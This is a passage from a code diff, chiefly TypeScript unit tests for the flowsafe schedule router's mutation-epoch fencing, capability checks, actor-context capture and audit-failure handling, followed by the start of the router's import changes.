+  const database = sqliteUnitDatabase(sqlite) as ScheduleDatabase;
+  const fence = new ExecutionFenceStore(database as ExecutionFenceDatabase);
+  await fence.seed('open');
+  const store = new D1SchedulesStorage(database);
+  await store.init();
+  const events: ScheduleRouteAuditEvent[] = [];
+  const options = {
+    store,
+    executionFence: fence,
+    resolve: resolveAs(context),
+    audit: (event: ScheduleRouteAuditEvent) => {
+      events.push(event);
+    },
+  };
+  return {
+    sqlite,
+    database,
+    store,
+    fence,
+    events,
+    options,
+    call: routerCaller(createScheduleRouter(options)),
+  };
+}
+
+function deferred() {
+  let resolve!: () => void;
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+async function activateAndReopen(fence: ExecutionFenceStore) {
+  await fence.transition({
+    expected: 'open',
+    next: 'draining',
+    expectedMutationEpoch: 0,
+    expectedRevision: 0,
+    advanceMutationEpoch: true,
+  });
+  await fence.transition({
+    expected: 'draining',
+    next: 'migration-locked',
+    expectedMutationEpoch: 1,
+    expectedRevision: 1,
+  });
+  await fence.transition({
+    expected: 'migration-locked',
+    next: 'open',
+    expectedMutationEpoch: 1,
+    expectedRevision: 2,
+  });
+}
+
+function customFacade() {
+  const store = new MemStore();
+  const database = sqliteUnitDatabase(
+    openSqlite(),
+  ) as FencedScheduleMutationCapability['database'];
+  const capability: FencedScheduleMutationCapability = {
+    database,
+    createOwnedSchedule: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      schedule,
+      owner,
+      cap,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return MemStore.prototype.createOwnedSchedule.call(
+        store,
+        schedule,
+        owner,
+        cap,
+      );
+    }),
+    updateSchedule: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      id,
+      patch,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return MemStore.prototype.updateSchedule.call(store, id, patch);
+    }),
+    pauseSchedule: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      id,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return MemStore.prototype.updateSchedule.call(store, id, {
+        status: 'paused',
+      });
+    }),
+    resumeSchedule: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      id,
+      resume,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return MemStore.prototype.updateSchedule.call(store, id, {
+        status: 'active',
+        nextFireAt: resume.nextFireAt,
+      });
+    }),
+    deleteOwnedSchedule: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      id,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return MemStore.prototype.deleteOwnedSchedule.call(store, id);
+    }),
+    observeScheduleMutation: vi.fn(function (
+      this: FencedScheduleMutationCapability,
+      id,
+      _operation,
+      _context,
+    ) {
+      expect(this).toBe(capability);
+      return store.getSchedule(id);
+    }),
+  };
+  Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, {
+    configurable: true,
+    value: capability,
+  });
+  const options = {
+    store,
+    executionFence: 'none' as const,
+    resolve: resolveAs({ ...ctx('acme', 'operator'), mutationEpoch: 7 }),
+  };
+  return { store, capability, database, options };
+}
+
+describe('schedule mutation capability construction', () => {
+  it('requires a capability before an epoch-optional fenced router authenticates', async () => {
+    const h = await fencedHarness();
+    const resolve = vi.fn(resolveAs(ctx('acme', 'operator')));
+    expect(() =>
+      createScheduleRouter({
+        ...h.options,
+        store: new MemStore(),
+        resolve,
+      }),
+    ).toThrow('fenced schedule storage capability is unavailable');
+    expect(resolve).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'none',
+    'fenced',
+  ] as const)('rejects malformed advertised capabilities with %s wiring', async (wiring) => {
+    const h = await fencedHarness();
+    const { capability } = customFacade();
+    const malformed: unknown[] = [
+      null,
+      [],
+      1,
+      {},
+      { ...capability, database: null },
+      { ...capability, database: Object.assign([], capability.database) },
+    ];
+    for (const method of [
+      'createOwnedSchedule',
+      'updateSchedule',
+      'pauseSchedule',
+      'resumeSchedule',
+      'deleteOwnedSchedule',
+      'observeScheduleMutation',
+    ])
+      malformed.push({ ...capability, [method]: undefined });
+    for (const method of ['prepare', 'batch']) {
+      malformed.push({
+        ...capability,
+        database: { ...h.database, [method]: undefined },
+      });
+    }
+    for (const value of malformed) {
+      const store = Object.assign(new MemStore(), {
+        [FENCED_SCHEDULE_STORAGE]: value,
+      });
+      expect(() =>
+        createScheduleRouter({
+          ...h.options,
+          store: store as ScheduleFacadeStore,
+          executionFence: wiring === 'none' ? 'none' : h.fence,
+        }),
+      ).toThrow('schedule mutation capability is malformed');
+    }
+  });
+
+  it('rejects a concrete store over a different binding before activation', async () => {
+    const h = await fencedHarness();
+    const other = await fencedHarness();
+    expect(() =>
+      createScheduleRouter({
+        ...h.options,
+        store: other.store,
+      }),
+    ).toThrow('schedule storage binding disagrees with execution fence');
+  });
+
+  it('captures the capability and receiver before mutable properties change', async () => {
+    const { store, capability, options } = customFacade();
+    const selected = capability.createOwnedSchedule;
+    const readMethod = vi.fn(() => selected);
+    Object.defineProperty(capability, 'createOwnedSchedule', {
+      configurable: true,
+      get: readMethod,
+    });
+    const readCapability = vi.fn(() => capability);
+    Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, {
+      configurable: true,
+      get: readCapability,
+    });
+    const waiting = deferred();
+    const entered = deferred();
+    const context = ctx('acme', 'operator');
+    context.resourceOwnerFor = async () => {
+      entered.resolve();
+      await waiting.promise;
+      return context.resourceOwner;
+    };
+    const call = routerCaller(
+      createScheduleRouter({
+        ...options,
+        resolve: resolveAs(context),
+      }),
+    );
+    store.createOwnedSchedule = vi.fn(async () => {
+      throw new Error('legacy write');
+    });
+    const pending = call('POST', '/api/schedules', {
+      agentId: 'a1',
+      prompt: 'go',
+      cron: '*/5 * * * *',
+      threadId: 'acme_thread',
+      resourceId: 'acme_resource',
+    });
+    await entered.promise;
+    Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, { value: undefined });
+    Object.defineProperty(capability, 'createOwnedSchedule', {
+      value: async () => {
+        throw new Error('replacement write');
+      },
+    });
+    waiting.resolve();
+    expect((await pending).status).toBe(201);
+    expect(readCapability).toHaveBeenCalledTimes(1);
+    expect(readMethod).toHaveBeenCalledTimes(1);
+    expect(selected).toHaveBeenCalledTimes(1);
+    expect(store.createOwnedSchedule).not.toHaveBeenCalled();
+  });
+});
+
+describe('captured schedule request authority', () => {
+  it('retains actor, owner, epoch, and service receiver through a body wait', async () => {
+    const { store, capability, options } = customFacade();
+    const context = {
+      ...ctx('acme', 'operator'),
+      actor: { id: 'operator-acme', role: 'operator' as ApprovalRole },
+      deploymentTag: 'original',
+      mutationEpoch: 7,
+    };
+    const epoch = vi.fn(() => 7);
+    Object.defineProperty(context, 'mutationEpoch', {
+      configurable: true,
+      get: epoch,
+    });
+    const audit = vi.fn();
+    const entered = deferred();
+    const release = deferred();
+    const request = new Request('http://host/api/schedules', {
+      method: 'POST',
+      body: JSON.stringify(WORKFLOW_CREATE),
+    });
+    const body = request.body;
+    if (!body) throw new Error('missing test body');
+    const getReader = body.getReader.bind(body);
+    Object.defineProperty(body, 'getReader', {
+      value: () => {
+        const reader = getReader();
+        const read = reader.read.bind(reader);
+        reader.read = async () => {
+          entered.resolve();
+          await release.promise;
+          return read();
+        };
+        return reader;
+      },
+    });
+    const router = createScheduleRouter({
+      ...options,
+      resolve: resolveAs(context),
+      audit,
+    });
+    const response = router(request);
+    await entered.promise;
+    context.actor.id = 'changed';
+    context.actor.role = 'viewer';
+    context.resourceOwner = { kind: 'human', id: 'changed' };
+    context.deploymentTag = 'changed';
+    Object.defineProperty(context, 'mutationEpoch', { value: 99 });
+    release.resolve();
+    expect((await response)?.status).toBe(201);
+    expect(epoch).toHaveBeenCalledTimes(1);
+    expect(capability.createOwnedSchedule).toHaveBeenCalledWith(
+      expect.any(Object),
+      { kind: 'human', id: 'operator-acme' },
+      100,
+      { mutationEpoch: 7 },
+    );
+    expect([...store.owners.values()]).toEqual([
+      { kind: 'human', id: 'operator-acme' },
+    ]);
+    expect(audit).toHaveBeenCalledWith(
+      expect.objectContaining({
+        actorId: 'operator-acme',
+        deploymentTag: 'original',
+        outcome: 'accepted',
+      }),
+    );
+    const passed = vi.mocked(capability.createOwnedSchedule).mock.calls[0]?.[3];
+    expect(Object.isFrozen(passed)).toBe(true);
+  });
+
+  it('retains bound ownership methods and the original role during an access wait', async () => {
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow());
+    const context = {
+      ...ctx('acme', 'operator'),
+      mutationEpoch: 7,
+      actor: { id: 'operator-acme', role: 'operator' as ApprovalRole },
+    };
+    const entered = deferred();
+    const release = deferred();
+    context.canAccessResource = async function () {
+      expect(this).toBe(context);
+      entered.resolve();
+      await release.promise;
+      return true;
+    };
+    const call = routerCaller(
+      createScheduleRouter({ ...options, resolve: resolveAs(context) }),
+    );
+    const pending = call('POST', '/api/schedules/s1/pause');
+    await entered.promise;
+    context.actor.role = 'viewer';
+    context.mutationEpoch = 99;
+    context.canAccessResource = async () => false;
+    release.resolve();
+    expect((await pending).status).toBe(200);
+    expect(capability.pauseSchedule).toHaveBeenCalledWith('s1', {
+      mutationEpoch: 7,
+    });
+  });
+
+  it.each([
+    NaN,
+    -1,
+    1.5,
+    null,
+    '7',
+  ])('rejects malformed resolved epoch %s before storage or audit', async (mutationEpoch) => {
+    const { capability, options } = customFacade();
+    const audit = vi.fn();
+    const call = routerCaller(
+      createScheduleRouter({
+        ...options,
+        audit,
+        resolve: resolveAs({
+          ...ctx('acme', 'operator'),
+          mutationEpoch,
+        } as ActorContext),
+      }),
+    );
+    const result = await call('POST', '/api/schedules', WORKFLOW_CREATE);
+    expect(result.status).toBe(400);
+    expect(result.body.reason).toEqual({ code: 'INVALID_MUTATION_EPOCH' });
+    expect(capability.createOwnedSchedule).not.toHaveBeenCalled();
+    expect(audit).not.toHaveBeenCalled();
+  });
+
+  it('rejects tenant epoch headers through the real resolver', async () => {
+    const h = await fencedHarness();
+    const authenticate = vi.fn(() => ({
+      id: 'actor',
+      role: 'operator' as const,
+    }));
+    const router = createScheduleRouter({
+      ...h.options,
+      resolve: createActorResolver({
+        authenticate,
+        storeFactory: new D1ApprovalStoreFactory(h.database),
+        mutationEpoch: 7,
+        buildService: () => {
+          throw new Error('unused');
+        },
+      }),
+    });
+    const response = await router(
+      new Request('http://host/api/schedules', {
+        method: 'POST',
+        headers: { 'x-flowsafe-mutation-epoch': '7' },
+        body: JSON.stringify(WORKFLOW_CREATE),
+      }),
+    );
+    expect(response?.status).toBe(403);
+    expect(authenticate).not.toHaveBeenCalled();
+    await expect(h.store.listSchedules()).resolves.toEqual([]);
+  });
+
+  it('does not accept a body epoch as authority', async () => {
+    const { capability, options } = customFacade();
+    const call = routerCaller(createScheduleRouter(options));
+    expect(
+      (
+        await call('POST', '/api/schedules', {
+          ...WORKFLOW_CREATE,
+          mutationEpoch: 7,
+        })
+      ).status,
+    ).toBe(400);
+    expect(capability.createOwnedSchedule).not.toHaveBeenCalled();
+  });
+});
+
+describe('schedule capability mutation dispatch', () => {
+  it.each([
+    'pause',
+    'resume',
+  ] as const)('observes an already-%s row without changing timestamps', async (operation) => {
+    const { store, capability, options } = customFacade();
+    const status = operation === 'pause' ? 'paused' : 'active';
+    store.m.set('s1', scheduleRow(status));
+    const observed = {
+      ...scheduleRow(status),
+      cron: '*/10 * * * *',
+      updatedAt: 99,
+    };
+    vi.mocked(capability.observeScheduleMutation).mockResolvedValue(observed);
+    const call = routerCaller(createScheduleRouter(options));
+    const result = await call('POST', `/api/schedules/s1/${operation}`);
+    expect(result.status).toBe(200);
+    expect(result.body.schedule).toMatchObject({
+      cron: observed.cron,
+      updatedAt: observed.updatedAt,
+    });
+    expect(capability.observeScheduleMutation).toHaveBeenCalledWith(
+      's1',
+      operation,
+      { mutationEpoch: 7 },
+    );
+    expect(capability.pauseSchedule).not.toHaveBeenCalled();
+    expect(capability.resumeSchedule).not.toHaveBeenCalled();
+    expect(capability.updateSchedule).not.toHaveBeenCalled();
+    expect(store.m.get('s1')).toEqual(scheduleRow(status));
+  });
+
+  it.each([
+    'pause',
+    'resume',
+  ] as const)('returns 404 if a %s no-op observation finds no row', async (operation) => {
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow(operation === 'pause' ? 'paused' : 'active'));
+    vi.mocked(capability.observeScheduleMutation).mockResolvedValue(null);
+    const audit = vi.fn();
+    const call = routerCaller(createScheduleRouter({ ...options, audit }));
+    expect(await call('POST', `/api/schedules/s1/${operation}`)).toEqual({
+      status: 404,
+      body: { error: 'not found' },
+    });
+    expect(audit).toHaveBeenCalledWith(
+      expect.objectContaining({ reason: 'not-found' }),
+    );
+    expect(capability.pauseSchedule).not.toHaveBeenCalled();
+    expect(capability.resumeSchedule).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'pause',
+    'resume',
+  ] as const)('uses the observed row when a %s no-op races another status change', async (operation) => {
+    vi.spyOn(Date, 'now').mockReturnValue(1_800_000_000_000);
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow(operation === 'pause' ? 'paused' : 'active'));
+    const observed = {
+      ...scheduleRow(operation === 'pause' ? 'active' : 'paused'),
+      cron: '15 * * * *',
+      timezone: 'UTC',
+    };
+    vi.mocked(capability.observeScheduleMutation).mockResolvedValue(observed);
+    const call = routerCaller(createScheduleRouter(options));
+    expect((await call('POST', `/api/schedules/s1/${operation}`)).status).toBe(
+      200,
+    );
+    if (operation === 'pause') {
+      expect(capability.pauseSchedule).toHaveBeenCalledWith('s1', {
+        mutationEpoch: 7,
+      });
+    } else {
+      expect(capability.resumeSchedule).toHaveBeenCalledWith(
+        's1',
+        {
+          expectedCron: observed.cron,
+          expectedTimezone: 'UTC',
+          nextFireAt: 1_800_000_900_000,
+        },
+        { mutationEpoch: 7 },
+      );
+    }
+    expect(capability.updateSchedule).not.toHaveBeenCalled();
+  });
+
+  it('passes an explicit undefined expected timezone when resuming', async () => {
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow('paused'));
+    const call = routerCaller(createScheduleRouter(options));
+    expect((await call('POST', '/api/schedules/s1/resume')).status).toBe(200);
+    const input = vi.mocked(capability.resumeSchedule).mock.calls[0]?.[1];
+    expect(input).toHaveProperty('expectedTimezone', undefined);
+    expect(input?.expectedCron).toBe('*/5 * * * *');
+    expect(input?.nextFireAt).toBeGreaterThan(Date.now());
+  });
+
+  it('uses generic authoring for PATCH status paused and the owned deletion capability', async () => {
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow());
+    const call = routerCaller(createScheduleRouter(options));
+    expect(
+      (await call('PATCH', '/api/schedules/s1', { status: 'paused' })).status,
+    ).toBe(200);
+    expect(capability.updateSchedule).toHaveBeenCalledWith(
+      's1',
+      { status: 'paused' },
+      { mutationEpoch: 7 },
+    );
+    expect(capability.pauseSchedule).not.toHaveBeenCalled();
+    expect((await call('DELETE', '/api/schedules/s1')).status).toBe(200);
+    expect(capability.deleteOwnedSchedule).toHaveBeenCalledWith('s1', {
+      mutationEpoch: 7,
+    });
+  });
+});
+
+const MUTATION_ROUTES = [
+  [
+    'create',
+    'POST',
+    '/api/schedules',
+    WORKFLOW_CREATE,
+    'active',
+    'createOwnedSchedule',
+  ],
+  [
+    'update',
+    'PATCH',
+    '/api/schedules/s1',
+    { cron: '*/10 * * * *' },
+    'active',
+    'updateSchedule',
+  ],
+  [
+    'pause',
+    'POST',
+    '/api/schedules/s1/pause',
+    undefined,
+    'active',
+    'pauseSchedule',
+  ],
+  [
+    'resume',
+    'POST',
+    '/api/schedules/s1/resume',
+    undefined,
+    'paused',
+    'resumeSchedule',
+  ],
+  [
+    'delete',
+    'DELETE',
+    '/api/schedules/s1',
+    undefined,
+    'active',
+    'deleteOwnedSchedule',
+  ],
+  [
+    'pause no-op',
+    'POST',
+    '/api/schedules/s1/pause',
+    undefined,
+    'paused',
+    'observeScheduleMutation',
+  ],
+  [
+    'resume no-op',
+    'POST',
+    '/api/schedules/s1/resume',
+    undefined,
+    'active',
+    'observeScheduleMutation',
+  ],
+] as const;
+
+describe('schedule router final D1 epoch enforcement', () => {
+  it.each([
+    'cron',
+    'timezone',
+  ] as const)('refuses resume when its observed %s changes before mutation', async (field) => {
+    const h = await fencedHarness();
+    await h.store.createSchedule(scheduleRow('paused'));
+    const capability = h.store[FENCED_SCHEDULE_STORAGE];
+    if (!capability) throw new Error('missing D1 capability');
+    const patch =
+      field === 'cron' ? { cron: '15 * * * *' } : { timezone: 'Asia/Dubai' };
+    Object.defineProperty(h.store, FENCED_SCHEDULE_STORAGE, {
+      value: {
+        ...capability,
+        resumeSchedule: async (
+          ...args: Parameters<
+            FencedScheduleMutationCapability['resumeSchedule']
+          >
+        ) => {
+          await h.store.updateSchedule('s1', patch);
+          return capability.resumeSchedule(...args);
+        },
+      },
+    });
+    const call = routerCaller(createScheduleRouter(h.options));
+    const result = await call('POST', '/api/schedules/s1/resume');
+    expect(result.status).toBe(409);
+    expect(result.body.reason).toEqual({
+      code: 'SCHEDULE_MUTATION_CONFLICT',
+      classification: 'schedule-changed',
+    });
+    await expect(h.store.getSchedule('s1')).resolves.toMatchObject({
+      ...patch,
+      status: 'paused',
+      nextFireAt: scheduleRow().nextFireAt,
+    });
+  });
+
+  it('uses a present D1 capability under none wiring and leaves reads epoch-optional', async () => {
+    const h = await fencedHarness();
+    await h.store.createSchedule(scheduleRow());
+    await activateAndReopen(h.fence);
+    const call = routerCaller(
+      createScheduleRouter({ ...h.options, executionFence: 'none' }),
+    );
+    expect((await call('POST', '/api/schedules/s1/pause')).body.reason).toEqual(
+      {
+        code: 'MUTATION_EPOCH_MISMATCH',
+        classification: 'missing',
+        mutationEpoch: 1,
+      },
+    );
+    expect((await call('GET', '/api/schedules')).status).toBe(200);
+    expect((await call('GET', '/api/schedules/s1')).status).toBe(200);
+    expect((await call('GET', '/api/schedules/s1/triggers')).status).toBe(200);
+  });
+
+  it.each(
+    MUTATION_ROUTES,
+  )('rejects an old held %s after activation and reopen', async (_name, method, path, body, status, selected) => {
+    const context = { ...ctx('acme', 'operator'), mutationEpoch: 0 };
+    const h = await fencedHarness(context);
+    await h.store.createOwnedSchedule(
+      scheduleWithCreatorRole(scheduleRow(status), 'operator'),
+      context.resourceOwner,
+      100,
+    );
+    await h.store.recordTrigger({
+      id: 'trigger-s1',
+      scheduleId: 's1',
+      runId: 'run-s1',
+      scheduledFireAt: 1,
+      actualFireAt: 2,
+      outcome: 'succeeded',
+    });
+    const snapshot = () =>
+      JSON.stringify([
+        h.sqlite.prepare('SELECT * FROM mastra_schedules').all(),
+        h.sqlite.prepare('SELECT * FROM mastra_schedule_triggers').all(),
+        h.sqlite.prepare('SELECT * FROM flowsafe_resource_owners').all(),
+      ]);
+    const before = snapshot();
+    const capability = h.store[FENCED_SCHEDULE_STORAGE];
+    if (!capability) throw new Error('missing D1 capability');
+    const entered = deferred();
+    const release = deferred();
+    const selectedMethod = capability[selected];
+    const held = vi.fn(async (...args: unknown[]) => {
+      entered.resolve();
+      await release.promise;
+      return Reflect.apply(selectedMethod, capability, args);
+    });
+    Object.defineProperty(h.store, FENCED_SCHEDULE_STORAGE, {
+      value: { ...capability, [selected]: held },
+    });
+    const call = routerCaller(createScheduleRouter(h.options));
+    const pending = call(method, path, body);
+    await entered.promise;
+    try {
+      await activateAndReopen(h.fence);
+      context.mutationEpoch = 1;
+    } finally {
+      release.resolve();
+    }
+    const result = await pending;
+    expect(result.status).toBe(409);
+    expect(result.body.reason).toEqual({
+      code: 'MUTATION_EPOCH_MISMATCH',
+      classification: 'stale',
+      mutationEpoch: 1,
+    });
+    expect(held).toHaveBeenCalledTimes(1);
+    expect(snapshot()).toBe(before);
+    expect(h.events).toContainEqual(
+      expect.objectContaining({
+        outcome: 'rejected',
+        reason: 'MUTATION_EPOCH_MISMATCH:stale',
+      }),
+    );
+  });
+
+  it.each(
+    MUTATION_ROUTES,
+  )('accepts exact current epoch for %s and refuses missing/future epochs', async (_name, method, path, body, status) => {
+    for (const mutationEpoch of [undefined, 2, 1]) {
+      const h = await fencedHarness({
+        ...ctx('acme', 'operator'),
+        mutationEpoch,
+      });
+      await h.store.createOwnedSchedule(
+        scheduleWithCreatorRole(scheduleRow(status), 'operator'),
+        { kind: 'human', id: 'operator-acme' },
+        100,
+      );
+      await activateAndReopen(h.fence);
+      const before = await h.store.getSchedule('s1');
+      const result = await h.call(method, path, body);
+      if (mutationEpoch === 1) {
+        expect(result.status).toBe(
+          method === 'POST' && path === '/api/schedules' ? 201 : 200,
+        );
+        if (_name.endsWith('no-op'))
+          await expect(h.store.getSchedule('s1')).resolves.toEqual(before);
+      } else {
+        expect(result.status).toBe(409);
+        expect(result.body.reason).toEqual({
+          code: 'MUTATION_EPOCH_MISMATCH',
+          classification: mutationEpoch === undefined ? 'missing' : 'future',
+          mutationEpoch: 1,
+        });
+        await expect(h.store.getSchedule('s1')).resolves.toEqual(before);
+      }
+    }
+  });
+
+  it.each([
+    'draining',
+    'migration-locked',
+    'proof-only',
+  ] as const)('allows exact-epoch pause/delete in %s while PATCH remains authoring', async (state) => {
+    const h = await fencedHarness({
+      ...ctx('acme', 'operator'),
+      mutationEpoch: 1,
+    });
+    await h.store.createSchedule(scheduleRow());
+    await activateAndReopen(h.fence);
+    await h.fence.transition({
+      expected: 'open',
+      next: state,
+      expectedMutationEpoch: 1,
+      expectedRevision: 3,
+      ...(state === 'proof-only' ? { proofKey: 'proof-schedule' } : {}),
+    });
+    expect(
+      (await h.call('PATCH', '/api/schedules/s1', { status: 'paused' })).status,
+    ).toBe(503);
+    expect((await h.call('POST', '/api/schedules/s1/pause')).status).toBe(200);
+    expect((await h.call('POST', '/api/schedules/s1/pause')).status).toBe(200);
+    expect((await h.call('DELETE', '/api/schedules/s1')).status).toBe(200);
+  });
+});
+
+describe('schedule route refusal responses', () => {
+  const failures = [
+    [
+      'invalid epoch',
+      () => new InvalidMutationEpochError(),
+      'INVALID_MUTATION_EPOCH',
+    ],
+    [
+      'missing epoch',
+      () => new MutationEpochMismatchError('missing', 7),
+      'MUTATION_EPOCH_MISMATCH:missing',
+    ],
+    [
+      'stale epoch',
+      () => new MutationEpochMismatchError('stale', 7),
+      'MUTATION_EPOCH_MISMATCH:stale',
+    ],
+    [
+      'future epoch',
+      () => new MutationEpochMismatchError('future', 7),
+      'MUTATION_EPOCH_MISMATCH:future',
+    ],
+    [
+      'closed fence',
+      () => new ExecutionFencedError('draining'),
+      'execution-fenced',
+    ],
+    [
+      'unreadable fence',
+      () => new ExecutionFenceUnreadableError('fence unreadable'),
+      'execution-fence-unreadable',
+    ],
+    [
+      'changed fence',
+      () => new ScheduleMutationConflictError('fence-changed'),
+      'SCHEDULE_MUTATION_CONFLICT:fence-changed',
+    ],
+    [
+      'changed schedule',
+      () => new ScheduleMutationConflictError('schedule-changed'),
+      'SCHEDULE_MUTATION_CONFLICT:schedule-changed',
+    ],
+    [
+      'unknown outcome',
+      () =>
+        new ScheduleMutationOutcomeUnknownError({
+          cause: new Error('private SQL detail'),
+        }),
+      'SCHEDULE_MUTATION_OUTCOME_UNKNOWN',
+    ],
+  ] as const;
+
+  it.each(
+    failures,
+  )('retains the typed %s refusal when its audit fails', async (_label, build, reason) => {
+    const error = build();
+    const callbackError = new RunRouteError(418, 'private audit detail');
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    const { store, capability, options } = customFacade();
+    vi.mocked(capability.createOwnedSchedule).mockRejectedValue(error);
+    const audit = vi.fn(async () => {
+      throw callbackError;
+    });
+    const call = routerCaller(createScheduleRouter({ ...options, audit }));
+    const result = await call('POST', '/api/schedules', WORKFLOW_CREATE);
+    expect(result).toEqual({
+      status: error.status,
+      body: { error: error.message, reason: error.reason },
+    });
+    expect(JSON.stringify(result.body)).not.toMatch(
+      /private SQL|private audit/,
+    );
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(audit).toHaveBeenCalledWith(
+      expect.objectContaining({ outcome: 'rejected', reason }),
+    );
+    expect(logged).toHaveBeenCalledWith(
+      expect.stringContaining('schedule.route-audit-error'),
+      callbackError,
+    );
+    if (error instanceof ScheduleMutationOutcomeUnknownError) {
+      expect(logged).toHaveBeenCalledWith(
+        expect.stringContaining('schedule.route-mutation-error'),
+        error,
+      );
+      expect(error.cause).toEqual(new Error('private SQL detail'));
+    }
+    expect(capability.createOwnedSchedule).toHaveBeenCalledTimes(1);
+    expect(capability.deleteOwnedSchedule).not.toHaveBeenCalled();
     expect(store.m.size).toBe(0);
   });
+
+  it('preserves a generic final-storage notfound error as a generic 500', async () => {
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const { store, capability, options } = customFacade();
+    store.m.set('s1', scheduleRow());
+    vi.mocked(capability.updateSchedule).mockRejectedValue(
+      new Error('schedule s1 not found'),
+    );
+    const call = routerCaller(createScheduleRouter(options));
+    expect(
+      await call('PATCH', '/api/schedules/s1', { cron: '*/10 * * * *' }),
+    ).toEqual({
+      status: 500,
+      body: { error: 'internal error' },
+    });
+  });
+});
+
+describe('contained schedule audits', () => {
+  it('does not reclassify a rejected route when audit throws a route error', async () => {
+    const error = new RunRouteError(404, 'audit private detail');
+    const audit = vi.fn(() => {
+      throw error;
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    const h = harness(ctx('acme', 'viewer'), { audit });
+    await expect(
+      h.call('POST', '/api/schedules', WORKFLOW_CREATE),
+    ).resolves.toEqual({
+      status: 403,
+      body: { error: 'forbidden' },
+    });
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(logged).toHaveBeenCalledWith(
+      expect.stringContaining('schedule.route-audit-error'),
+      error,
+    );
+  });
+
+  const failures = [
+    ['ordinary', () => new Error('audit unavailable'), 'audit unavailable'],
+    [
+      'throwing message',
+      () =>
+        Object.defineProperty(new Error(), 'message', {
+          get() {
+            throw new Error('message getter failed');
+          },
+        }),
+      'unreadable error',
+    ],
+    [
+      'throwing coercion',
+      () => ({
+        [Symbol.toPrimitive]() {
+          throw new Error('coercion failed');
+        },
+      }),
+      'unreadable error',
+    ],
+    [
+      'non-string message',
+      () => Object.defineProperty(new Error(), 'message', { value: 1n }),
+      '1',
+    ],
+  ] as const;
+
+  it.each(
+    failures,
+  )('contains %s audit failures for accepted and rejected outcomes', async (_label, build, diagnostic) => {
+    for (const asyncFailure of [false, true]) {
+      for (const scenario of [
+        'create',
+        'delete',
+        'pending',
+        'no-op',
+        'role',
+        'ownership',
+      ] as const) {
+        const error = build();
+        const audit = vi.fn(() => {
+          if (asyncFailure) return Promise.reject(error);
+          throw error;
+        });
+        const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+        const context = ctx(
+          'acme',
+          scenario === 'role' ? 'viewer' : 'operator',
+          async () => scenario !== 'ownership',
+        );
+        const h = harness(context, { audit });
+        h.store.m.set('s1', scheduleRow('paused'));
+        if (scenario === 'pending')
+          h.store.deleteOwnedSchedule = async () => 'pending';
+        const result =
+          scenario === 'create' || scenario === 'role'
+            ? await h.call('POST', '/api/schedules', WORKFLOW_CREATE)
+            : scenario === 'no-op'
+              ? await h.call('POST', '/api/schedules/s1/pause')
+              : await h.call('DELETE', '/api/schedules/s1');
+        const status = {
+          create: 201,
+          delete: 200,
+          pending: 202,
+          'no-op': 200,
+          role: 403,
+          ownership: 404,
+        }[scenario];
+        expect(result.status).toBe(status);
+        expect(audit).toHaveBeenCalledTimes(1);
+        const message = logged.mock.calls[0]?.[0];
+        expect(JSON.parse(String(message))).toMatchObject({
+          type: 'schedule.route-audit-error',
+          reason: diagnostic,
+        });
+        expect(logged.mock.calls[0]?.[1]).toBe(error);
+        expect(h.store.m.has('s1')).toBe(scenario !== 'delete');
+        if (scenario === 'create') expect(h.store.m.size).toBe(2);
+        logged.mockRestore();
+      }
+    }
+  });
+
+  it('preserves the selected response when audit diagnostic reporting throws', async () => {
+    vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger unavailable');
+    });
+    const audit = vi.fn(async () => {
+      throw new RunRouteError(404, 'sink unavailable');
+    });
+    const h = harness(ctx('acme', 'viewer'), { audit });
+    expect(await h.call('POST', '/api/schedules', WORKFLOW_CREATE)).toEqual({
+      status: 403,
+      body: { error: 'forbidden' },
+    });
+    expect(audit).toHaveBeenCalledTimes(1);
+  });
 });
diff --git a/packages/flowsafe/src/schedules/router.ts b/packages/flowsafe/src/schedules/router.ts
index 55239b37..a8243a18 100644
--- a/packages/flowsafe/src/schedules/router.ts
+++ b/packages/flowsafe/src/schedules/router.ts
@@ -55,6 +55,7 @@ import type {
   ScheduleUpdate,
 } from '@mastra/core/storage';
 import { computeNextFireAt, validateCron } from '@mastra/core/workflows';
+import { captureActorContext } from '../approval-api/actor-context.js';
 import {
   type ActorContext,
   ActorResolutionError,
@@ -63,6 +64,11 @@ import {
   type ResourceOwner,
   RUN_START_ROLES,
 } from '../approval-api/index.js';
+import {
+  InvalidMutationEpochError,
+  type MutationEpochContext,
+  MutationEpochMismatchError,
+} from '../do-runner/execution-admission.js';
 import {
   admitsWorkAuthoring,
   type ExecutionFenceWiring,
@@ -70,6 +76,7 @@ import {
   isExecutionFenceRefusal,
   readExecutionFence,
 } from '../do-runner/index.js';
+import { hostErrorText } from '../host-kit/host-approval-service.js';
 import {
   type BoundThreadTargetValidator,
   RunRouteError,
@@ -83,6 +90,12 @@ import {
   nonnegativeSafeInteger,
   positiveSafeInteger,
 } from '../numeric-config.js';
+import {
+  FENCED_SCHEDULE_STORAGE,
+  type FencedScheduleMutationCapability,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+} from './mutation-contract.js';
 import {
   type AuthorizedSchedule,
